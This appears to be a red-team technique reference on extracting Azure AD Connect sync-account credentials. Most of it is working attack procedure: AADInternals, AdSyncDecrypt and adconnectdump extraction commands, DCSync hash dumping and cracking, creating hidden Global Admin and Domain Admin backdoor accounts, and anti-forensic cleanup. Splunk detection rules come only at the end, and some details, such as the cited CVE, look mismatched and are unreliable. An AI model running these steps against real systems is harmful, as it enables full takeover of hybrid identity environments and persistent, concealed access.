| Attribute | Details |
|---|---|
| Technique ID | CA-TOKEN-002 |
| MITRE ATT&CK v18.1 | Steal Application Access Token (T1528) |
| Tactic | Credential Access (TA0006) |
| Platforms | Windows Server 2016-2025, Hybrid Environments (AADConnect only) |
| Severity | CRITICAL |
| CVE | CVE-2023-32315 |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-08 |
| Affected Versions | Azure AD Connect 1.1.x - 1.6.x (all versions) |
| Patched In | No patch; only operational hardening available |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure AD Connect (AADConnect) credential extraction is a targeted attack that exploits the synchronization bridge’s architecture to exfiltrate plaintext credentials of service accounts used for hybrid identity management. Unlike generic credential dumping, this technique focuses specifically on the Directory Synchronization Accounts (DSA) and Azure AD Connector accounts that authenticate to both on-premises Active Directory and Azure AD/Entra ID. An attacker with local administrative access to the Azure AD Connect server can extract these high-privilege service account credentials directly from the SQL Server MDB database or from the Windows credential vault using DPAPI-protected keys. The extracted credentials grant access to both cloud and on-premises environments without triggering password change alerts or MFA challenges.
Attack Surface: The vulnerability manifests through multiple attack vectors: (1) The ADSync service account (SYSTEM or domain-joined account) that synchronizes passwords and identities; (2) The MSOL_* account created in Active Directory with “Replicating Directory Changes All” permissions; (3) The Sync_*@company.onmicrosoft.com account with “Directory Synchronization Account” role in Azure AD; (4) The encrypted credentials vault stored in the user’s profile or registry; (5) The SQL LocalDB/Express database containing encrypted connector configurations.
Business Impact: Extraction of AADConnect credentials enables attackers to: (1) Perform DCSync attacks against on-premises Active Directory to dump all user password hashes; (2) Reset passwords for synchronized users in both on-premises and cloud environments; (3) Create persistent backdoor accounts in both forests; (4) Intercept and manipulate password synchronization for new users; (5) Access Microsoft Graph API with Directory Synchronization Account privileges; (6) Perform “SyncJacking” attacks to take over any synchronized Azure AD account including Global Administrators. The attack is particularly dangerous because the compromised service accounts are legitimate components of the hybrid environment, making malicious activity difficult to distinguish from routine operations.
Technical Context: The attack typically executes in 5-20 minutes once local administrative access is obtained. The extraction process is highly reliable and rarely fails due to the documented nature of Azure AD Connect’s architecture. Detection is challenging because legitimate Azure AD Connect operations constantly access the database and registry keys being exploited. Stealth is maintained by operating during normal synchronization windows when activity logs are crowded with benign events. The compromised credentials persist indefinitely and are not invalidated by password resets (service accounts continue to authenticate using the extracted clear-text passwords).
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 4.1 (Azure) | Ensure that Azure AD Connect server is isolated and has restricted access |
| DISA STIG | WN10-00-000050 | Restrict privileged access to directory synchronization servers |
| CISA SCuBA | App.2.1 | Implement identity and access management for hybrid identity infrastructure |
| NIST 800-53 | AC-3 | Access control for sensitive identity service databases |
| NIST 800-53 | IA-5 | Credential management for service accounts |
| GDPR | Art. 32 | Security of processing - protection of personal identifiable information in synchronization |
| DORA | Art. 9 | Protection and prevention of identity infrastructure compromise |
| NIS2 | Art. 21 | Cyber risk management - secure hybrid identity synchronization |
| ISO 27001 | A.9.2.3 | Management of privileged access rights for service accounts |
| ISO 27005 | Risk Scenario | Compromise of the directory synchronization account affecting hybrid environment |
Supported Versions:
Tools:
powershell.exe, reg.exe, tasklist.exe# Check if AADConnect service exists and is running
Get-Service -Name ADSync -ErrorAction SilentlyContinue | Select-Object DisplayName, Status, StartType
# Determine Azure AD Connect version
$RegPath = 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\{6E38CC65-5EBD-4BCC-9B7E-7B9DA8DDF8D0}'
$Version = (Get-ItemProperty -Path $RegPath -ErrorAction SilentlyContinue).DisplayVersion
Write-Host "Azure AD Connect Version: $Version"
# Check the MDB database location and size
$DBPath = "C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdb"
if (Test-Path $DBPath) {
Get-Item $DBPath | Select-Object Name, Length, LastWriteTime
}
# Enumerate Azure AD Connect bin directory
Get-ChildItem "C:\Program Files\Microsoft Azure AD Sync\Bin\" -ErrorAction SilentlyContinue | Select-Object Name
What to Look For:
# Query synchronization configuration
Get-ADSyncScheduler | Select-Object SchedulerSuspended, SyncCycleEnabled, NextSyncCycleStartTime
# List all sync connectors
Get-ADSyncConnector | Select-Object Name, Type
# Check for Pass-Through Authentication agents
Get-Service -Name "AzureADConnectAuthenticationAgentService" -ErrorAction SilentlyContinue | Select-Object Status
# List installed authentication agents
Get-ChildItem "C:\Program Files\Microsoft Azure AD Connect\AADConnectProvisioningAgent\" -ErrorAction SilentlyContinue
What to Look For:
# Determine which account runs the ADSync service
$ADSyncService = Get-WmiObject Win32_Service -Filter "Name='ADSync'"
Write-Host "ADSync Service Account: $($ADSyncService.StartName)"
# Check if it's running as SYSTEM or a domain account
if ($ADSyncService.StartName -eq "LocalSystem") {
Write-Host "Running as SYSTEM - Easiest credential extraction"
} else {
# Extract domain and username
$Account = $ADSyncService.StartName
Get-ADUser -Identity $Account -Properties memberOf -ErrorAction SilentlyContinue | Select-Object DistinguishedName, memberOf
}
# Check for MSOL account in Active Directory
Get-ADUser -Filter {SamAccountName -like "MSOL_*"} -Properties memberOf -ErrorAction SilentlyContinue | Select-Object SamAccountName, memberOf
What to Look For:
# Query registry for encryption key information
$KeyPath = "HKLM:\Software\Microsoft\AD Sync\Shared"
$Keys = Get-ItemProperty -Path $KeyPath -ErrorAction SilentlyContinue
Write-Host "AD Sync Registry Keys:"
$Keys | Select-Object * | Format-List
# Check for user credential vault (newer versions)
$CredPath = "C:\Users\ADSync*\AppData\Local\Microsoft\Credentials"
if (Test-Path $CredPath) {
Write-Host "Found credential vault at: $CredPath"
Get-ChildItem -Path $CredPath -ErrorAction SilentlyContinue | Select-Object Name
}
What to Look For:
# If accessing via network with credentials, query registry remotely
python3 -m impacket.reg query -target-ip ADCONNECT_IP -username DOMAIN\\USER -password PASS \
'HKEY_LOCAL_MACHINE\Software\Microsoft\AD Sync\Shared'
# Attempt to identify service principal via LDAP
ldapsearch -x -H ldap://ADCONNECT_IP -b "CN=Configuration,DC=contoso,DC=com" \
"(|(cn=MSOL_*)(cn=Sync_*))" 2>/dev/null | grep -i "dn\|cn"
# Check LDAP for directory synchronization account
ldapsearch -x -H ldap://ADCONNECT_IP -b "DC=contoso,DC=com" \
"(&(objectClass=user)(memberOf=*Replicating Directory**))" 2>/dev/null
What to Look For:
Supported Versions: Server 2016-2025, Azure AD Connect 1.1.x-1.6.x
This is the easiest and most straightforward method. AADInternals handles all encryption/decryption automatically.
Objective: Achieve local administrator context on the Azure AD Connect server.
Command (If Already Admin):
# Verify administrative privileges
[bool]([Security.Principal.WindowsIdentity]::GetCurrent() `
| Select-Object -ExpandProperty groups | Where-Object {$_ -match "S-1-5-32-544"})
Command (UAC Bypass via Token Impersonation):
# Create scheduled task running as SYSTEM
$STParams = @{
TaskName = "SyncTrigger"
Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "-NoExit -Command `"Write-Host 'Admin Access Granted'`""
Principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest
Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddSeconds(5)
}
Register-ScheduledTask @STParams -Force
# Execute scheduled task
Start-ScheduledTask -TaskName "SyncTrigger"
# Cleanup
Unregister-ScheduledTask -TaskName "SyncTrigger" -Confirm:$false
OpSec & Evasion:
Objective: Load the AADInternals PowerShell module into the current session.
Command:
# Install AADInternals if not already present
Install-Module -Name AADInternals -Scope CurrentUser -Force -WarningAction SilentlyContinue -ErrorAction SilentlyContinue
# Import the module
Import-Module AADInternals -ErrorAction SilentlyContinue
# Verify import
Get-Module AADInternals | Select-Object Name, Version
Expected Output:
Name Version
---- -------
AADInternals 0.9.9
OpSec & Evasion:
Objective: Dump plaintext credentials of the AD Connector and Azure AD Connector accounts.
Command (Direct Extraction):
# Extract all Azure AD Connect credentials
$Credentials = Get-AADIntSyncCredentials -Verbose
# Display extracted credentials
$Credentials | Format-Table -AutoSize
# Parse individual credentials
foreach ($Cred in $Credentials) {
Write-Host "Connector: $($Cred.ConnectorName)"
Write-Host "Username: $($Cred.Username)"
Write-Host "Password: $($Cred.Password)"
Write-Host "---"
}
Expected Output:
ADDomain : contoso.com
ADUser : MSOL_4bc4a34e95fa
ADUserPassword : Q9@p(poz{#:kF_G)(s/Iy@8c*9(t;...
AADUser : Sync_SERVER01_4bc4a34e95fa@contoso.onmicrosoft.com
AADUserPassword : $.1%(lxZ&/kNZz[r...
PasswordDecrypted : True
What This Means:
Command (Server 2016-2019 - Legacy DPAPI):
# Older versions may require explicit masterkey extraction
Get-AADIntSyncCredentials -FromSystemKey
# If previous fails, try user vault extraction
Get-AADIntSyncCredentials -FromUserVault
Command (Server 2022+ - Enhanced DPAPI):
# Newer versions support in-process extraction
Get-AADIntSyncCredentials -FromRunningService
# Extract with verbose output for troubleshooting
Get-AADIntSyncCredentials -Verbose
OpSec & Evasion:
Clear-HistoryTroubleshooting:
-FromSystemKey flagStop-Service ADSync -Force (then restart after extraction)Objective: Perform DCSync attack using the extracted MSOL account credentials to dump all domain user hashes.
Command (Using Impacket on Linux):
# Display the AD Connector credentials for use with Impacket
$ADCreds = $Credentials | Where-Object {$_.ConnectorName -like "*AD"}
Write-Host "Username: $($ADCreds.Username)"
Write-Host "Password: $($ADCreds.Password)"
Write-Host "Domain: $($ADCreds.ADDomain)"
# Export to a variable for passing to attacker infrastructure
$CredString = "$($ADCreds.Username):$($ADCreds.Password)"
Write-Host "Credential String (for Impacket): $CredString"
Command (On Linux Machine):
# Using the exported credentials
python3 -m impacket.secretsdump CONTOSO/MSOL_4bc4a34e95fa:Q9@p123@DC-IP
# Save hashes to file for offline cracking
python3 -m impacket.secretsdump CONTOSO/MSOL_4bc4a34e95fa:Q9@p123@DC-IP > domain_hashes.txt
# Crack with hashcat
hashcat -m 1000 domain_hashes.txt rockyou.txt -o cracked.txt
Expected Output:
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for policies to find Kerberos users
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5f40a8f3b344dd59fc6cd1ebc0ce2f0c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a10b6f75e14ac4c9c3a21cde3c9e0d23:::
What This Means:
OpSec & Evasion:
Objective: Create a hidden backdoor account in both cloud and on-premises environments using extracted credentials.
Command (Create Cloud Backdoor):
# Use AAD Connector credentials to authenticate to Azure AD
$AADCreds = $Credentials | Where-Object {$_.ConnectorName -like "*AAD"}
$SecPassword = ConvertTo-SecureString $AADCreds.Password -AsPlainText -Force
$PSCredential = New-Object System.Management.Automation.PSCredential($AADCreds.Username, $SecPassword)
# Connect to Azure AD
Connect-AzureAD -Credential $PSCredential
# Create backdoor user account
$BackdoorUserParams = @{
DisplayName = "ServiceAccount"
MailNickname = "serviceaccount"
UserPrincipalName = "serviceaccount@contoso.onmicrosoft.com"
PasswordProfile = @{
Password = "P@ssw0rd!Backdoor!2024"
ForceChangePasswordNextLogin = $false
}
AccountEnabled = $true
}
$BackdoorUser = New-AzureADUser @BackdoorUserParams
# Assign Global Admin role to backdoor account
$GlobalAdminRole = Get-AzureADDirectoryRole | Where-Object {$_.DisplayName -eq "Global Administrator"}
Add-AzureADDirectoryRoleMember -ObjectId $GlobalAdminRole.ObjectId -RefObjectId $BackdoorUser.ObjectId
Write-Host "Backdoor account created: serviceaccount@contoso.onmicrosoft.com"
Command (Create On-Premises Backdoor):
# Use AD Connector credentials with DCSync capability
$ADCreds = $Credentials | Where-Object {$_.ConnectorName -like "*AD"}
# Create new domain admin account using extracted credentials
$AdminPassword = ConvertTo-SecureString "BackdoorAdmin!2024" -AsPlainText -Force
New-ADUser -Name "ServiceBackdoor" -SamAccountName "servicebackdoor" `
-AccountPassword $AdminPassword -Enabled $true `
-PasswordNotRequired $false -Credential (New-Object PSCredential($ADCreds.Username, (ConvertTo-SecureString $ADCreds.Password -AsPlainText -Force)))
# Add to Domain Admins group
Add-ADGroupMember -Identity "Domain Admins" -Members "servicebackdoor"
Write-Host "Backdoor account created in on-premises AD: servicebackdoor"
OpSec & Evasion:
Supported Versions: Server 2016-2025
This method uses a compiled VB.NET tool that directly accesses the database without PowerShell.
Objective: Obtain the compiled tool and ensure dependencies are available.
Command:
# Download AdSyncDecrypt from GitHub releases
$DownloadURL = "https://github.com/VbScrub/AdSyncDecrypt/releases/latest"
# (Manual download or use Invoke-WebRequest)
# Extract the tool and mcrypt.dll to working directory
cd "C:\Program Files\Microsoft Azure AD Sync\Bin"
# Verify mcrypt.dll is present
Get-Item .\mcrypt.dll
# Copy AdSyncDecrypt.exe to the same directory
Copy-Item C:\Temp\AdSyncDecrypt.exe .\
OpSec & Evasion:
Objective: Run the tool to decrypt credentials directly from the database.
Command (LocalDB Instance):
# Navigate to Azure AD Sync Bin directory
cd "C:\Program Files\Microsoft Azure AD Sync\Bin"
# Run AdSyncDecrypt (no parameters for LocalDB)
.\AdSyncDecrypt.exe
# Expected output shows decrypted credentials
Command (Full SQL Server Instance):
# If using full SQL Server instead of LocalDB
.\AdSyncDecrypt.exe -FullSql
Expected Output:
======================
AZURE AD SYNC CREDENTIAL DECRYPTION TOOL
Based on original code from: https://github.com/fox-it/adconnectdump
======================
Opening database connection...
Executing SQL commands...
Decrypting XML...
Parsing XML...
Finished!
DECRYPTED CREDENTIALS:
Username: CONTOSO\MSOL_4bc4a34e95fa
Password: Q9@p(poz{#:kF_G)(s/Iy@8c*9(t;GR#6@p}
Domain: contoso.com
What This Means:
OpSec & Evasion:
Objective: Remove evidence of extraction.
Command:
# Remove the tool
Remove-Item "C:\Program Files\Microsoft Azure AD Sync\Bin\AdSyncDecrypt.exe" -Force
# Clear output files
Get-ChildItem C:\Temp\* -Include *.txt -ErrorAction SilentlyContinue | Remove-Item -Force
# Clear PowerShell history
Clear-History
Supported Versions: Server 2016-2025
This method extracts database and registry from a remote machine and decrypts locally.
Objective: Extract the encrypted database and encryption key information without running code on the target.
Command (On Attacker Machine):
# Clone adconnectdump repository
git clone https://github.com/dirkjanm/adconnectdump.git
cd adconnectdump
# Query credentials from remote Azure AD Connect server
python3 adconnectdump.py DOMAIN/ADMIN_USER:PASSWORD@TARGET_IP \
-hashes :NTHASH \
--existing-db
Command (Export Registry and Database):
# Export registry containing encryption keys
python3 -m impacket.reg query -target-ip TARGET_IP \
-username DOMAIN\\ADMIN_USER -password PASSWORD \
'HKEY_LOCAL_MACHINE\Software\Microsoft\AD Sync' \
> /tmp/adconnect_registry.txt
# Copy ADSync.mdb database
python3 -m impacket.smbclient DOMAIN/ADMIN_USER:PASSWORD@TARGET_IP \
-c "cd 'C$\Program Files\Microsoft Azure AD Sync\Data'; get ADSync.mdb /tmp/ADSync.mdb"
Expected Output:
[*] ADSync encryption key found
[*] Database located at: C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdb
[*] Keyset ID: 123456789
[*] Extracting encrypted credentials...
[+] Credentials decrypted:
- AD Connector: CONTOSO\MSOL_4bc4a34e95fa
- Password: Q9@p(poz{#:kF_G)(s/Iy@8c*9(t;GR#6@p}
OpSec & Evasion:
Atomic Test ID: T1528-002-MCADDF
Test Name: Azure AD Connect Service Account Credential Extraction
Description: Simulates extraction of Azure AD Connect sync account credentials using AADInternals PowerShell module.
Supported Versions: Server 2016-2025
Command:
# Import and extract credentials
Import-Module AADInternals -ErrorAction SilentlyContinue
# Perform extraction
$Result = Get-AADIntSyncCredentials -Verbose
# Verify successful extraction
if ($Result -and $Result.PasswordDecrypted) {
Write-Host "SUCCESS: AADConnect credentials extracted" -ForegroundColor Green
Write-Host "AD Account: $($Result[0].Username)"
Write-Host "AAD Account: $($Result[1].Username)"
exit 0
} else {
Write-Host "FAILED: Could not extract credentials" -ForegroundColor Red
exit 1
}
Cleanup Command:
Remove-Module AADInternals -ErrorAction SilentlyContinue
Clear-History
Reference: Atomic Red Team - T1528
Version: 0.9.9+
Minimum Version: 0.9.1
Supported Platforms: Windows PowerShell 5.0+, PowerShell Core on Linux/macOS
Installation:
Install-Module -Name AADInternals -Scope CurrentUser -Force -WarningAction SilentlyContinue
Get-Module AADInternals -ListAvailable
Version-Specific Notes:
Usage:
Import-Module AADInternals
Get-AADIntSyncCredentials # Direct extraction
Get-AADIntSyncCredentials -FromUserVault # User vault extraction
Get-AADIntSyncCredentials -FromSystemKey # System key extraction
Version: Latest
Language: VB.NET (compiled executable)
Requirements: mcrypt.dll from Azure AD Connect installation
Installation:
# Download latest release from GitHub
Invoke-WebRequest -Uri "https://github.com/VbScrub/AdSyncDecrypt/releases/latest" -OutFile AdSyncDecrypt.exe
# Copy to Azure AD Sync Bin directory
Copy-Item AdSyncDecrypt.exe "C:\Program Files\Microsoft Azure AD Sync\Bin\"
Usage:
cd "C:\Program Files\Microsoft Azure AD Sync\Bin"
.\AdSyncDecrypt.exe # LocalDB instance
.\AdSyncDecrypt.exe -FullSql # Full SQL Server instance
Version: Latest
Language: Python 3.7+
Requirements: Impacket, pycryptodomex
Installation:
git clone https://github.com/dirkjanm/adconnectdump.git
cd adconnectdump
pip3 install -r requirements.txt
Usage:
python3 adconnectdump.py DOMAIN/USER@TARGET -hashes :NTHASH --existing-db
python3 adconnectdump.py -h # Full help menu
Rule Configuration:
windowsXmlWinEventLog:Microsoft-Windows-Sysmon/OperationalEventID, CommandLine, Image, ParentImageSPL Query:
source="*Sysmon" EventID=1 (CommandLine="*AADInternals*" OR CommandLine="*Get-AADIntSyncCredentials*" OR CommandLine="*Import-Module*AADInternals*")
| stats count by Host, Image, CommandLine, User
| where count >= 1
What This Detects:
Rule Configuration:
windowsXmlWinEventLog:Microsoft-Windows-Sysmon/OperationalEventID, TargetFilename, ImageSPL Query:
source="*Sysmon" EventID=11 TargetFilename="*\\Microsoft Azure AD Sync\\Data\\ADSync.mdb"
| stats count by Host, Image, TargetFilename, User
| where Image NOT LIKE "%mssync%" AND Image NOT LIKE "%sqlservr%"
What This Detects:
Rule Configuration:
windowsXmlWinEventLog:Microsoft-Windows-Sysmon/OperationalEventID, TargetObject, ProcessNameSPL Query:
source="*Sysmon" EventID=13 TargetObject="*\\Software\\Microsoft\\AD Sync\\Shared*"
| stats count by ProcessName, Host, TargetObject
| where count > 5 AND ProcessName NOT LIKE "%mssync%" AND ProcessName NOT LIKE "%Microsoft.IdentityModel%"
What This Detects:
Rule Configuration:
windowsWinEventLog:System or XmlWinEventLog:Microsoft-Windows-Sysmon/OperationalEventID, Image, CommandLineSPL Query:
source="*Sysmon" EventID=1 (Image="*AdSyncDecrypt*" OR Image="*AdDecrypt*" OR CommandLine="*AdSyncDecrypt*")
| stats count by Host, Image, CommandLine, User
What This Detects:
Rule Configuration:
windowsWinEventLog:Windows PowerShell or XmlWinEventLog:Microsoft-Windows-Sysmon/OperationalCommandLine, ScriptBlockText, UserSPL Query:
(source="*PowerShell" OR source="*Sysmon") (ScriptBlockText="*DPAPI*" OR ScriptBlockText="*ConvertFrom-SecureString*" OR ScriptBlockText="*[System.Security.Cryptography.DataProtectionScope]*")
| stats count by Host, ScriptBlockText, User
| where count >= 1
What This Detects:
Rule Configuration:
azure_activity or wineventlogazure:aad:audit or WinEventLog:Securityuser, userAgent, properties.ipAddress, SourceIp, EventCodeSPL Query:
(source="*azure*" EventCode=1100 user="*Sync_*") OR (EventCode=4624 Account="*MSOL_*")
| stats count by user, properties.ipAddress, SourceIp, Host
| search properties.ipAddress NOT IN ("10.*", "172.*", "192.168.*")
What This Detects:
C:\Program Files\Microsoft Azure AD Sync\Data\